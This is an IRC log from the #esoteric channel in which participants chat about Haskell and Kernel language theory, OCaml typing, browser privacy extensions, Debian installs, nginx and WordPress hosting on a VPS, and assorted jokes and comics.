17:31:34 <kallisti> or distributive or whatever may be the case.
17:32:53 <kallisti> sequence is basically the distributive law for the list monad, it would seem.
17:32:56 <elliott> most monads are functions underneath
17:33:04 <elliott> (a -> b -> c) ~ (b -> a -> c)
17:33:16 <elliott> i'm not convinced ReaderT and ListT distribute in the same way
17:33:27 <elliott> sequence is a distributive law, yes
17:33:29 <elliott> traversable generalises it
17:33:41 <elliott> Traversable t = t distributes over any Applicative
17:33:52 <lambdabot> Data.Traversable sequenceA :: (Traversable t, Applicative f) => t (f a) -> f (t a)
17:33:52 <lambdabot> Data.Foldable sequenceA_ :: (Foldable t, Applicative f) => t (f a) -> f ()
17:34:03 <kmc> i'm still not entirely clear on why Kernel needs the wrap/unwrap primitives in addition to vau
17:34:14 <kmc> but, i seem to have shot myself in the foot by lacking them in my toy language
17:34:31 <elliott> kmc: to be able to evaluate anything
17:34:36 <elliott> kmc: you can also just have eval, I think
17:34:43 <elliott> but you can implement eval with wrap
17:34:44 <kallisti> oh nice I was wondering if sequence was generalized.
17:34:46 <elliott> I forget what unwrap is for though
17:35:02 <kmc> unwrap is used to implement apply
17:35:12 <kmc> i think my real problem is, i'm trying to use apply on operatives
17:35:20 <kmc> and the paper explicitly states that this is terrible and disgusting
17:35:34 <elliott> i feel kernel has some concepts it could unify and clean up
17:35:55 <elliott> i'm unconvinced the distinction between thingys (the normal functiony things) and fexprthingys is productive
17:36:05 <elliott> as opposed to just having fexprthingys that happen to evaluate their arguments in an orderly fashion
17:36:32 <kmc> applicatives vs. operatives
17:36:33 <kmc> that's my feeling as well
17:36:41 <kmc> but i haven't used this stuff very much
17:37:03 <kmc> my toy language lacks that distinction
17:38:01 <kallisti> so basically you look at the underlying structure of the type to determine if it distributes. showing that ListT is distributive is done recursively -- basically it's the code of sequence. :P woah it's like curry-howard, man.
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17:42:00 <kallisti> I think real distributivity is a biconditional though. here we're talking about a single implication unless both of the monad transformers are "distributive"
17:42:50 <kallisti> there's [m a] -> m [a] but no m [a] -> [m a] forall Monad m => m
17:44:20 <kallisti> well, that's how I know distributivity. Perhaps in abstract algebra it's only required that one operator distributes over the other.
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17:48:19 <kallisti> elliott: also pure is Applicative not Monad nyahahahaha blah blah.
17:48:52 <Taneb> Because it's shorter?
17:48:53 <kallisti> you seem to prefer it to return.
17:49:12 <kallisti> I usually use whichever requires the fewest class constraints.
17:49:35 <elliott> I use pure whenever using it as a unit (as opposed to as part of a larger monad computation) when the type is monomorphic.
17:49:42 <elliott> For instance I always use pure :: a -> [a] rather than return.
17:49:53 <elliott> which is the type it was used as above
17:50:00 <ais523> elliott: seems '_a really is different from 'a
17:50:01 <ais523> http://sprunge.us/aFRG
17:50:39 <ais523> so I suppose the question is, what technical limitation of OCaml causes it to type q and r differently?
17:50:46 <kallisti> see I would use pure if I were only using Applicative functions, and return if only using Monad functions... I guess I would pick pure if both were already in use and there was no way to simplify the code to use only one constraint.
17:51:16 <ais523> # let s x = c i i x ;;
17:51:17 <ais523> val s : (('a -> 'a) -> ('b -> 'b) -> 'c) -> 'c = <fun>
17:51:45 <ais523> oh, aha, eta-expansion causes it to work, it must not like polymorphic function values (as opposed to polymorphic function definitions)
17:54:39 <ais523> wow, this type is beautiful, if ultimately not what I wanted: http://sprunge.us/HGXN
17:56:25 <ais523> it's also not actually usable for swapping :)
17:56:29 <ais523> (q 4 // q 5 // oerjanswap doesn't type)
17:57:36 <elliott> ais523: what do you make of http://esolangs.org/wiki/Basic_Input/Output_Commander?
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17:58:12 <ais523> it's kind of risky to implement
17:58:22 <ais523> given that it has a command that's entirely capable of repartitioning the hard drive
17:58:47 <ais523> and it doesn't have any memory storage, or any control flow
17:59:04 <kallisti> wouldn't writing to RAM be memory storage?
17:59:04 <elliott> it's from the person who brought us [[mindscrew]]
17:59:08 <elliott> clearly a visionary we're working with here
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17:59:14 <elliott> ais523: no, obviously the ip is a file thing
17:59:16 <ais523> presumably it's nonetheless TC as it can rewrite your OS to run the program for oyu
17:59:24 <ais523> and automatically order more storage from Amazon when it runs out
17:59:46 <ais523> given a suitable credit card
18:00:04 <kallisti> TC dependent on available lines of credit and liquid assets
18:01:45 <elliott> ais523: haha, I really hope AWS starts expanding before it reaches capacity and then never stops and entropy is halted
18:01:56 <elliott> just so your proof by Amazon ends up being inadvertently valid
18:02:43 <kallisti> has anyone managed to successfully use AWS?
18:02:53 <kallisti> it's quite a mess of services.
18:03:08 <kallisti> by "anyone" I mean people in this channel, of course.
18:03:13 <kallisti> the only relevant people in the universe.
18:04:15 <elliott> i'm sure someone in here has used EC2 before
18:04:22 <elliott> I gather that apart from S3 and EC2 they're mostly rubbish
18:05:11 <kallisti> I tried to use it once... and decided that it would be easier to just use a dedicated server.
18:06:41 <kmc> elliott, how much have you used Kernel, and what for?
18:07:06 <elliott> I don't "use" languages ;)
18:07:27 <elliott> but I read at *least* 25% of the paper!
18:07:35 <kallisti> I perform theoretical language abuse on a theoretically daily basis.
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18:09:54 <Taneb> I swear my dreams are becoming increasingly rave + computer science oriented
18:10:44 <elliott> `addquote <Taneb> I swear my dreams are becoming increasingly rave + computer science oriented
18:10:47 <kallisti> my personal Heaven would be endless computer science raves where I have magical powers such as flight
18:10:52 <HackEgo> 809) <Taneb> I swear my dreams are becoming increasingly rave + computer science oriented
18:11:35 <Friendship> Today's Dinosaur Comics is pretty much awesome.
18:15:56 <HackEgo> 387) <Phantom_Hoover> Lymia, I don't know what that is but I want to hit you for it on principle.
18:15:57 <HackEgo> Failed to clone the environment!
18:15:57 <HackEgo> Failed to clone the environment!
18:16:00 <HackEgo> Failed to clone the environment!
18:16:02 <HackEgo> Failed to clone the environment!
18:16:28 <Taneb> We've hit quote limit
18:18:21 <HackEgo> 694) <ais523> Vorpal: I was paying too much attention to elliott and not enough to my HP
18:18:27 <HackEgo> Failed to clone the environment!
18:18:37 <kallisti> Headlines: FBI investigation of chat logs reports illegal #esoteric environmental cloning experiment fails catastrophically
18:21:03 <ais523> gah, the force-quit tool's malfunctioned and left a window covering my screen, how do I force-quit it?
18:21:09 <elliott> ais523: hey, what ad/script-blocking/anonymising FF extensions do you use? I'm becoming sufficiently annoyed by Google's context-sensitivity and YouTube ads to want to do something about it
18:21:26 <kallisti> I can tell you the ones I use in Chrome...
18:21:29 <ais523> oh, killall gnome-panel worked
18:21:36 <elliott> which is a sign that they must be doing something /really/ wrong, if it's so terrible they're overwhelming my immense apathy
18:21:39 <ais523> elliott: AdBlock Plus, NoScript, and RefControl
18:21:49 <ais523> combined with turning off Flash in Firefox, and using a different browser when I want it
18:21:54 <elliott> oh, and I want to block Analytics too, although I can't quite articulate why
18:21:57 <ais523> I use AdBlock Plus as a general annoyance-blocker
18:22:14 * elliott was considering http://disconnect.me/
18:22:16 <ais523> elliott: because they're taking information from you that is worth money, and if they're taking it without your consent you can't sell it to them later
18:22:22 -!- Deewiant has joined.
18:22:26 <elliott> which purports to disable google's bubbling and facebook's cross-site stuff and the like
18:22:36 <ais523> what does "bubbling" mean, exactly
18:22:44 <elliott> result personalisation, essentially
18:22:53 <elliott> ais523: well, it's not an ethical objection per se, those don't bother me enough to do something
18:23:04 <elliott> I think it's that Analytics tracks slightly more than I'm OK with
18:23:07 <ais523> for the same reason that kerio plays computer games in English despite setting everything else to Italian
18:23:08 <kallisti> for Chrome: Ghostery, No Track Plus, Adblock Plus
18:23:18 <kallisti> Ghostery is kind of like noscript but less annoying
18:23:19 <elliott> iirc it tracks which links you click, right?
18:23:33 * elliott isn't really interesting in blocking scripts in general
18:23:51 <ais523> elliott: I blacklist by default but am free with adding to my whitelist if I find a site whose scripts I want to use
18:23:51 <kallisti> also here's ABP lists related to privacy protection: http://adversity.uk.to/
18:24:02 <ais523> elliott: oh, I also set cookies to no third-party, prompt for first-party, in Firefox
18:24:04 <kallisti> elliott: Ghostery specifically targets a huge list of advertising company tracker script things.
18:24:06 <ais523> that's not an extension but a core setting
18:24:24 <elliott> kallisti: doesn't blocking ads take care of that?
18:24:25 <ais523> but it's pretty annoying, because if you reject one cookie from a site, Firefox then prompts you for all the others it tries to set, unless you choose "always reject"
18:24:30 <ais523> there should be a "deny for session" option or something like that
18:24:38 <elliott> ais523: first-party cookies I'm OK with too
18:24:56 <ais523> elliott: well, say, first-party cookies from Google I'm not OK with
18:24:59 <ais523> as they can be used to personalise results
18:25:01 <kallisti> elliott: I don't think so. Ghostery blocks scripts. I'm not sure if Adblock can block scripts...
18:25:03 <elliott> mostly I want to banish ads/tracking, and preferably disable "customisation" like Google's
18:25:17 <ais523> if I need to store a Google cookie, I'll use Chromium
18:25:33 <kallisti> elliott: http://lifehacker.com/5887140/everyones-trying-to-track-what-you-do-on-the-web-heres-how-to-stop-them
18:25:34 <elliott> "• Truly depersonalize searches on search engines like Google and Yahoo (by blocking identifying cookies not just changing the appearance of results pages), while staying logged into other services — e.g., so you can search anonymously on Google and access iGoogle at once."
18:26:22 <kallisti> has extensions listed for FF and Chrome
18:26:22 <elliott> kallisti: ABP handles YouTube video ads, right?
18:26:32 <elliott> those are really what's driving me up the wall sufficiently to do this :P
18:26:52 <kallisti> but yes ABP should be installed regardless
18:27:07 <kallisti> it's an essential web browsing tool. :P
18:27:23 <elliott> i'll probably go with just AdBlock, IIRC it's slightly better than ABP for Chrome
18:28:10 <kallisti> I also recommend http://adversity.uk.to/
18:28:11 <ais523> hmm, I wonder what would happen if I wrote an extension to accept cookies but randomly change their contents
18:29:07 <elliott> ais523: anyway, you clearly accept cookies from esolangs.org
18:29:08 <kallisti> also the priv3 extension looks interesting.
18:29:15 <elliott> I'm surprised you trust me more than <any thing> :P
18:29:25 <ais523> elliott: but I want the site to track me
18:29:37 <ais523> so that it can attach my user name to my edits and let me make admin actions
18:29:42 <elliott> I'm actually bubbling everybody's recent changes.
18:29:46 <elliott> Phantom_Hoover doesn't see any BF derivatives.
18:29:52 <elliott> ais523 only sees things needing cleaning up.
18:30:05 <ais523> heh, that gave me a good laugh
18:30:23 <kallisti> in which we learn that shachaf is actually blind
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18:31:31 <kallisti> elliott: which kernel should I install: linux-image-3.2.0-1-adm64, linux-image-amd64, or none.
18:31:42 <elliott> kallisti: Which one is the default?
18:31:47 <elliott> And why are you using the expert install?
18:31:51 <elliott> Pick whichever one is the default.
18:32:00 <elliott> Maybe they prompt for kernel on regular installs now. Silly.
18:32:47 <kallisti> I wonder what happens when I install none.
18:33:04 <kallisti> what exactly is Debian without a kernel?
18:33:38 <kallisti> unbootable, obviously. but... why would you do that?
18:34:11 <kallisti> are there other ways to install kernels into a "Debian without a kernel"?
18:34:29 <elliott> You could boot the kernel on something else and point it at the partition.
18:34:34 <elliott> And yes, there is Debian/kFreeBSD.
18:34:41 <elliott> Debian is also the official GNU HURD distribution.
18:35:13 <elliott> (Seriously: http://www.debian.org/ports/hurd/)
18:35:25 <kallisti> I... believed you the first time.
18:36:20 <kallisti> I think the hardware erasing section of the install was doing one of those "make multiple passes with random bytes" things.
18:37:00 <elliott> That was probably because you selected encryption.
18:37:11 <kallisti> otherwise it wouldn't be so paranoid.
18:37:41 <Friendship> elliott: To my knowledge, Debian is not "the official" GNU HURD distribution, it's merely "the only" GNU HURD distribution. GNU is still the official one, in spite of the fact that it hasn't had a release in a decade. Unless this policy has changed recently.
18:38:22 <elliott> Friendship: Hmm, yes, you're probably right. But it's what everybody uses, and what the LiveCDs are :P
18:38:28 <elliott> kallisti: Maintaining hundreds of software packages?
18:38:53 <elliott> GNU is not a centralised organisation, so they don't really "do" anything.
18:39:00 <elliott> I mean, beyond administration and advocacy and so on.
18:39:13 <elliott> Individual GNU projects range from incredibly active and ubiquitous to dead dead dead.
18:39:17 <kallisti> they have an office don't that? I'm wondering what they do on a daily basis.
18:39:48 <Friendship> It's awesome that the "official GNU snapshot" has a link to a 404, and isn't even hosted at gnu.org
18:40:14 <elliott> kallisti: Boring administration, I suspect.
18:40:23 <elliott> Are you sure GNU have an office?
18:40:30 <kallisti> that's probably what I'm thinking of.
18:40:50 <elliott> Well, the FSF handle lots of legal matters, do lots of promotional campaigns, advocacy, is rms' nanny...
18:41:20 <elliott> They maintain the licenses, have servers, etc.
18:42:08 <elliott> Friendship: Someone's gotta pay the guy's expenses :P
18:42:30 <kallisti> no I actually have no clue what that acronym is supposed to expand to.
18:42:54 <elliott> stallman you dimwitted dimwit
18:42:55 <shachaf> It expands to "rms m stallman"
18:43:09 <elliott> Friendship: Watch as we find out that kallisti does not know who Stallman is.
18:43:36 <elliott> rms = Richard Matthew Stallman. HTH HAND
18:43:47 <kallisti> WHY WOULD YOU EXPECT ME TO KNOW STALLMAN'S MIDDLE FUCKING INITIAL.
18:44:02 <elliott> Friendship: my little rms freedom is magic
18:44:26 <elliott> It's like esr, except rms is more tolerable.
18:44:32 <kallisti> ...sorry I wasn't born in the 70s hacker culture as you apparently were.
18:44:50 <elliott> Friendship: So, if you got op status, would you kick kallisti right now?
18:44:57 <elliott> (They count extra, since I'm God.)
18:45:10 -!- PiRSquared has changed nick to HalfTauRSquared.
18:45:38 <kallisti> "memorize Wikipedia" is still on my list of todos
18:46:18 <Friendship> I hate to say it, but willful ignorance isn't necessarily kick-worthy.
18:47:12 <kallisti> I would say that ignorance of some subjects is... necessary.
18:47:28 <elliott> Stand up for what's right here.
18:50:00 <kallisti> Friendship: so, if you don't know the name of every episode of Supernatural because the list freely available on the internet
18:50:13 <kallisti> or, a result of opportunity costs?
18:50:16 <Friendship> kallisti: This is #esoteric, not #shitty-tv-shows
18:50:28 <kallisti> esoteric free software advocates.
18:51:00 -!- Friendship has set topic: Home of esoteric free software advocates | So good to be in the Morning....In America! | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
18:52:11 <kallisti> just you wait until I get a chance to chastize your lack of knowledge of middle initials..
18:53:04 <Friendship> (Because I have established in the imaginary canon of #esoteric that my middle name is Friendship)
18:53:18 <kallisti> oh we weren't actually listing our actual initials actually.
18:54:12 <kallisti> short for kallisti "likes Perl" kallisti
18:55:01 <Taneb> Except without the e
18:55:31 <Friendship> I think ":o(" are much better initials.
18:56:13 <Taneb> (The "E" stands for Elliott. And I almost actually had that as my middle name)
18:56:24 -!- augur has quit (Remote host closed the connection).
18:59:09 <kallisti> League for Programming Freedom sounds like a superhero organization.
19:04:24 <Friendship> http://www.gnu.org/graphics/bwcartoon-m.jpg <-- it is
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19:10:36 -!- kallisti has quit (Ping timeout: 244 seconds).
19:14:46 <zzo38> I found something else wrong with esolang wiki. If you select what you want from special pages dropdown list, it is 404 error.
19:17:02 <zzo38> I think you forgot to install the "redirect.php" file
19:17:21 -!- augur has joined.
19:22:23 <mRoman> http://codepad.org/mpf1KzFL <- truth-machine gone OOP
19:24:07 <elliott> zzo38: the manual says redirect.php is only for legacy stuff
19:24:20 <elliott> i did install it but didn't map it to the web server; I can if it's causing you problems
19:24:27 <elliott> what was the other thing wrong with the wiki?
19:24:59 <Taneb> zzo38: is the moon waxing or waning?
19:25:01 <quintopia> elliott: have you installed apache before
19:25:11 <elliott> esolangs.org is using nginx
19:25:17 <elliott> but i have used apache in the past
19:26:08 <elliott> (I meant, the other thing zzo38 found that's wrong)
19:26:55 <elliott> quintopia: why do you ask?
19:28:06 <zzo38> Taneb: I thjink waxing?
19:28:54 <zzo38> elliott: The thing about redirect.php (the special pages dropdown in the Nostalgia skin uses it) is the only thing I was saying is wrong
19:29:40 <zzo38> I can say a lot of other things are wrong but the things other than that are mostly just a matter of my opinion.
19:31:21 <zzo38> Taneb: Can't you look it up yourself the phase of the moon? Why did you ask me? Sure, I can figure it out too, but still
19:31:28 <quintopia> elliott: because i am considering installing it now on my vps and want an idea of what kind of task it is to install
19:31:52 <Taneb> zzo38, you just seemed the right person to ask
19:32:11 <Friendship> So long as mRoman is making it OO, I'll make it Smalltalk (but with no real OO ^^)
19:33:07 <elliott> quintopia: There is absolutely no reason to make a new Apache installation today.
19:33:15 <elliott> Especially not on a VPS which will have comparatively low memory.
19:33:54 <elliott> Apache is a memory hog and pretty slow to boot. Also, its configuration is really baroque.
19:34:11 <elliott> I mean, not that it can't be made performant.
19:34:18 <elliott> But it's definitely not optimised for the kind of environment you get on a VPS.
19:34:20 <kallisti_> elliott prefers more romantic configuration styles.
19:34:21 <quintopia> so nginx is easier to install and use?
19:34:25 <zzo38> Does nginx support CGI, or only FastCGI? Looking at documentation for nginx, it seem various things I use in Apache which nginx don't have
19:34:33 <elliott> Definitely. (It's also pretty popular.)
19:34:39 <zzo38> Taneb: Why did I seemed the right person to ask?
19:34:52 <quintopia> zzo38: because you know where the sun is rising
19:35:03 <elliott> http://news.netcraft.com/archives/2012/01/03/january-2012-web-server-survey.html (third most popular webserver)
19:35:16 <elliott> The only alternatives in the "server that can do general stuff" stakes are... uhh, ISS and lighttpd.
19:35:21 <kallisti_> [Did you know...] that the Sri Lanka Eye Donation Society has donated over 60,000 corneas for transplantation in 57 countries, including those of the late President of Sri Lanka, J. R. Jayewardene?
19:35:32 <elliott> lighttpd leaks memory like a sieve, or did, and isn't all that popular; IIS is... presumably not one of your options.
19:35:34 <quintopia> elliott: so how long do you think it will take to configure?
19:35:37 <zzo38> quintopia: I only know where the sun is rising and what phase of moon and these things because of the computer program Astrolog, can plot charts which makes it clear these things.
19:35:47 <Taneb> zzo38, I dunno, I just thought "Hmm, the moon. Is it waxing or waning? I know who to ask! zzo38!"
19:35:51 <elliott> quintopia: It depends on what you want to do.
19:35:59 <elliott> zzo38: There are CGI<->FastCGI bridges.
19:36:19 <Friendship> elliott: Hm, I'm surprised that lighttpd isn't higher on the list ...
19:36:22 <elliott> It's true that nginx doesn't support CGI OOTB but it's easy to make it do so.
19:36:27 <quintopia> elliott: i will probably put a wordpress or something like that in it. some well-supported and documented content manager
19:37:12 <elliott> quintopia: Wellll, since I'm assuming you don't know what you're doing (no offence), I'd assign half a day or so to the task. 90% of that will be reading http://wiki.nginx.org/WordPress.
19:37:15 <elliott> You're using Debian, right?
19:37:35 <zzo38> Taneb: Download Astrolog onto your own computer and then figure out phase of moon and these things by yourself (although you would have to learn how to read the horoscopes and other charts)
19:37:46 <elliott> If so, setting up PHP for FastCGI is really easy (install one package and you're done), so the only thing you'll likely need to do is write a ~50-line nginx site description.
19:37:50 <elliott> quintopia: (What Debian release?)
19:37:54 <elliott> Not sure stable has php-fpm. But it might.
19:39:21 <elliott> Be careful with WordPress.
19:39:53 <zzo38> Taneb: You can do that, learn phase of moon and that stuff by yourself. Why don't you learn it by yourself in this way?
19:40:46 <quintopia> elliott: i know not to download templates from non-wordpress sites, and keep it up-to-date
19:41:33 <elliott> quintopia: That does nothing to protect you from the countless security flaws that have been discovered in the core code in the past... but perhaps they're better these days. Anyway, how big is your VPS?
19:41:36 <Taneb> zzo38, I don't know.
19:41:37 <elliott> You'll want to install that WP Super Cache thing.
19:41:56 <zzo38> In addition to phase of moon, and where sun is rising, I used Astrolog to figure out when is Chinese New Year, when is solar noon, and more things.
19:42:32 <elliott> quintopia: Oh, and you'll want to install APC, there are guides on the net... ignore most of the tuning advice for your purposes except upping the memory to 64 megs.
19:42:38 * elliott must ask why quintopia doesn't go with wordpress.com or something.
19:42:56 <quintopia> elliott: 1kRAM, 1TB bandwidth, 60GBHDD
19:43:15 <quintopia> i'm not committed to wordpress. if you know a better CM
19:43:25 <elliott> One kilobyte of RAM? Impressive.
19:43:47 <elliott> What kind of terrible VPS host is that that's giving you 1 terabyte of bandwidth per month on a RAM/HD plan that small?
19:44:18 <quintopia> its not a ripoff. its fairly cheap
19:44:34 <elliott> It is a ripoff, in that there's no way they'll be happy if you use all that bandwidth.
19:44:45 <fizzie> A kilomegabyte is the funniest unit.
19:45:05 <quintopia> but i'm not paying for the transfer really
19:45:16 <quintopia> i just want the RAM and the always-on status
19:45:26 <elliott> Anyway, I'm not sure why you're using a VPS if you just want to run a single CMS like WordPress. I mean, there are hosted solutions. But it's your time.
19:45:31 <ion> fizzie: I like the grambit more.
19:46:48 <fizzie> I wonder about prgmr's bandwidth limits. Technically they have those, but no-one has even clarified me the units (it's probably /month, but it's *almost* within the realm of possibility it's /day), and the billing site's "view my usage" page always shows only zeroes.
19:46:50 <quintopia> i already have the VPS. i would have the VPS with or without the webface
19:47:06 <quintopia> but i figure since i have it, i can put a blog on it too yeah
19:47:33 <quintopia> anyway, i eventually want to plug my bot into the webserver
19:47:40 <fizzie> "If you had it, you should have put a blog on it", doesn't someone rap like that?
19:47:41 <elliott> fizzie: It's most definitely per-month, unless prgmr have wildly differing bandwidth plans to the rest of the universe.
19:48:01 <zzo38> Probably first thing you should do if you install Astrolog, is to adjust the configuration settings in ASTROLOG.DAT file to your timezone, geographic location, preferences, and macros.
19:48:28 <elliott> OK, there is no way The Lorax is not going to be the most terrible film ever created.
19:48:56 <elliott> [[Now people are having a (rather justified) heart attack about the fact that The Lorax is now being used to cross-promote a new SUV. Earlier this week, Mazda announced that it has partnered with Universal Pictures to promote the new "'Seuss-ifed' 2013 Mazda CX-5 crossover SUV." The cross-promotion includes commercials with a cartoon version of the car driving through a valley of Truffula trees. The ads claim that the car is "Truffula tree friend
19:49:58 <zzo38> Why did you want the phase of moon anyways?
19:50:18 <fizzie> elliott: It's not *that* different from e.g. buyvm, which is another cheap thing. I mean, they give 1000GB of bandwidth for the 256M/30G $5/month plan.
19:51:01 <elliott> fizzie: You suggesting buyvm will be happy if you use all that?
19:51:17 <fizzie> elliott: Perhaps not, but that's their nominal "BW" number.
19:51:34 <elliott> Right, which just means they, too, are overselling, which is unsurprising for an ultra-budget provider like that.
19:52:32 <quintopia> elliott: they wont be upset though, since they are selling based on the fact that for every person that does use it, 100 others won't. it works out.
19:53:38 <elliott> That's why everybody ran into all those horrible clogging problems with that overselling provider -- was it DreamHost? -- some years ago.
19:53:59 <elliott> Lying to your customers works OK, because most of them won't realise it!
19:54:05 <ais523> elliott: that still happens to BlogNomic occasionally
19:54:54 <quintopia> elliott: as long as they stay on top of adding bandwidth when they need to, they shouldn't be causing problems
19:55:31 <elliott> quintopia: That same argument would suggest that they should just offer completely "unlimited" bandwidth.
19:55:41 <elliott> And heck, RAM too, because for every person that uses it...
19:56:07 <quintopia> your extrapolation tactics wont work on me, fallacious arguer
19:56:17 <fizzie> 1000 GB/month equals 3 Mbps; that much per customer is I guess slightly much.
19:56:23 -!- ais523 has quit (Remote host closed the connection).
19:57:14 <fizzie> Anyway, I was more wondering whether prgmr actually has a counter or not at all, since it doesn't seem to be user-visible.
19:57:49 <Friendship> They just set a number so that if somebody starts being a problem they can point to it.
19:57:52 <Taneb> Wow, that's a handy escape route out of TVTropes
19:57:58 <Taneb> Genius Programming links to our wiki
19:58:09 <elliott> prgmr don't really watch anything.
19:58:14 <elliott> The limits are more like... guidelines :P
19:59:40 <Friendship> Welllll, the HD and RAM limits are pretty well limits.
20:00:10 <fizzie> I seem to have moved a total of 4 GiB in 75 days (unless these counters have wrapped around), so I suppose I'm one of their "not a problem" users when it comes to that.
20:00:36 <elliott> 2.21 gigs in however long the esowiki's been up here.
20:00:46 <elliott> 99% of that is spambots and rogue crawlers from less-regulated parts of the globe.
20:00:55 <elliott> I should probably block the latter. Except they don't actually look at /robots.txt.
20:01:05 <Taneb> Thanks, Phantom_Hoover
20:01:20 <Taneb> You're still my favourite person in Northern Edinburgh
20:02:33 <Taneb> `quote now is not the time
20:02:44 <HackEgo> Failed to clone the environment!
20:02:54 <fizzie> It keeps happening, yes.
20:03:09 <elliott> DAMMIT 1.19 COME OUT FASTER
20:03:18 <Taneb> Now I just have an image of HackEgo endlessly falling down a staircase ENDLESSLY
20:03:25 <elliott> Friendship: You should make Transactional HackEgo hapen.
20:03:39 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.29212
20:04:02 <HackEgo> Failed to clone the environment!
20:04:11 <fizzie> Taneb: Foiled by the clone army.
20:04:13 <Taneb> I'll do this manually
20:04:14 <Taneb> 668) <HackEgo> 678) <Ngevd> Dammit, Gregor, this is not the time to fall in love <HackEgo> 187) <alise> Gregor: You should never have got her pregnant. <Gregor> what whaaaaaaaaaaaat
20:05:20 <elliott> It's the only way to make file pile stop from getting taller, etc.
20:05:57 <Friendship> elliott: I don't think it's all HackEgo though ... but if it's not, I don't know what it is >_>
20:06:09 <elliott> Friendship: Shhh, I just have to shoehorn as many SBAHJ references in as I can.
20:06:17 <elliott> Friendship: Would it help if I deleted some quotes?
20:06:29 <elliott> (http://www.mspaintadventures.com/sweetbroandhellajeff/?cid=031.jpg, for posteriority.)
20:10:28 <elliott> "I LIKE WRITING BIG, IT MAKES ME FEEL COOL" -- Friendship, 2005
20:10:31 <Taneb> I can't remember the context to...
20:10:42 <HackEgo> 511) <Taneb> So it's like... Rummy mixed with... breakout?
20:11:58 <elliott> http://www.ihopandthelorax.com/
20:21:53 <zzo38> How do you mix rummy with breakout?
20:22:53 <mRoman> You have to destroy the blocks in a specific order or you lose?
20:30:16 <Taneb> `pastelogs Rummy mixed with...
20:30:57 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
20:35:10 <Taneb> That's what's like rummy mixed with breakout!
20:35:34 <zzo38> How is mahjong like rum mixed with breakout?
20:36:41 -!- oerjan has joined.
20:37:14 <Taneb> You asked me that last time
20:37:19 <HackEgo> oerjan: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
20:39:00 <HackEgo> oerjan: This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
20:39:04 <elliott> You don't believe in astrology or anything, right?
20:39:09 <quintopia> i did not realize that there were 5 billion different PHP CMS's
20:40:13 * oerjan swats precognizant elliott -----###
20:45:03 <elliott> oerjan: So do you want to be a wiki admin yet?
20:45:09 <zzo38> Oerjan did do the horoscope for Agora Nomic, although that is not entirely relevant. and anyways they just used the default settings without adjusting them so you just do it without understand really
20:45:39 <elliott> Yeah, that oerjan is a poser astrologist.
20:47:36 <Sgeo> fortune -o offended me. It considered a quote I don't find offensive as offensive.
20:47:57 <oerjan> Sgeo: is that a quote?
20:48:22 <oerjan> the logs are just too long today
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20:49:01 <Sgeo> No, I'm just being silly. In my UNIX class, I showed someone the fortune command, and noted the -o option, so he installed it. The first two quotes that came out of fortune -o may have been from the atheism vocabulary or something?
20:49:12 <elliott> oerjan: hope you enjoy RECENT CHANGES, then
20:49:57 <Sgeo> Third one was some limerick about a whore.
20:50:00 <elliott> Sgeo: -o mostly enables stuff that isn't actually offensive, and things that you don't *want* it to output because they're actually blatantly offensive rather than interesting or amusing.
20:50:18 <zzo38> I think the fortune program also has option to select from both offensive and nonoffensive? The one I have always selects from both offensive and not offensive files, it doesn't have option to change them
20:50:18 <elliott> So you just have to deal with not seeing any swear words and missing out on a bunch of unobjectionable stuff because the organisation is crap.
20:51:44 <Sgeo> I think you can list the ... files it uses?
20:52:26 * oerjan wonders if today's xkcd has a point he's not getting
20:53:03 <Sgeo> It looks pretty?
20:53:35 <elliott> Reminds me of the <100 days.
20:53:51 <elliott> Can't tell whether actually pencil-drawn, or just made to look it.
20:54:44 <elliott> A lot of the really old comics were essentially meaningless too.
20:55:04 <elliott> Phantom_Hoover: Make sure I'm not just going crazy.
20:55:21 <itidus20> i like trying to draw beach scenes sometimes.. and i am not good at drawing.. that scene is so well drawn i would want to pack my bags in
20:58:26 <itidus20> ok so the bread represents gathering people together... eg facebook
20:58:45 <itidus20> and then selling those people off
20:59:29 <itidus20> uh.. that is to say, a website business.. you attract users.. and then sell their personal data etc
21:00:51 <Phantom_Hoover> elliott, I like it too; it doesn't have that "look at me I'm funny" feeling that most newer xkcd does.
21:01:14 <Taneb> I like white beret guy
21:08:00 <elliott> He stopped being an entertaining sociopath and started just being an asshole ages ago.
21:11:46 <elliott> http://xkcd.com/284/ OK, xkcds used to be entertaining even if you didn't get them at all.
21:12:12 <Taneb> I liked that one because I have done pretty much that
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21:20:04 <Taneb> elliott is a recluse. He has no access to tape measures.
21:20:36 <Taneb> He gets a meter stick
21:20:37 <itidus20> sometimes "you didn't get them" doesn't mean "i didn't get them"
21:21:06 <oerjan> itidus20: i do not think that applies
21:22:49 <itidus20> to me the funny part is that it's a reference on the internet to the activity of extending tape measures in the air and seeing them collapse
21:25:20 <itidus20> sort of like if he did a comic book about losing the end of a stickytape roll when using the tape.. to the extent that some companies started to include a tab of paper to make it easier, and others included a plastic dispensor with a metal cutter
21:25:59 <itidus20> and needing to have scissors on hand... the way tape can distort and get ruined when you try to break it by hand
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21:26:35 <pikhq> elliott is British. They don't use tape measures, because tape measures don't support fathom/hand/centimeter measurements.
21:27:08 <pikhq> Sorry, *centimetre*.
21:27:27 * oerjan has a plastic dispensor with a plastic cutter
21:29:04 <itidus20> i meant plastic dispensor in terms of what the dispensor was made of( an adjective), not what the dispensor dispensed (a noun)
21:29:41 <itidus20> ahh the ambiguity is diabolical
21:30:07 <oerjan> i suspect the tape may be plastic too?
21:30:23 <oerjan> (in the dispensor. the tape measure is metal.)
21:32:15 <itidus20> i was kinda imagining a dispensor dispensing plastic for the purpose of manufacturing things with plastic
21:33:19 <oerjan> those 3d printers might have some
21:35:44 * Sgeo writes a Common Lisp macro
21:35:54 <Sgeo> (Just a duplicate of an existing macro, to help me get the hang of macros)
21:37:35 <oerjan> write a macro for duplicating macros, duh
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23:02:51 <Friendship> <elliott> "I LIKE WRITING BIG, IT MAKES ME FEEL COOL" -- Friendship, 2005
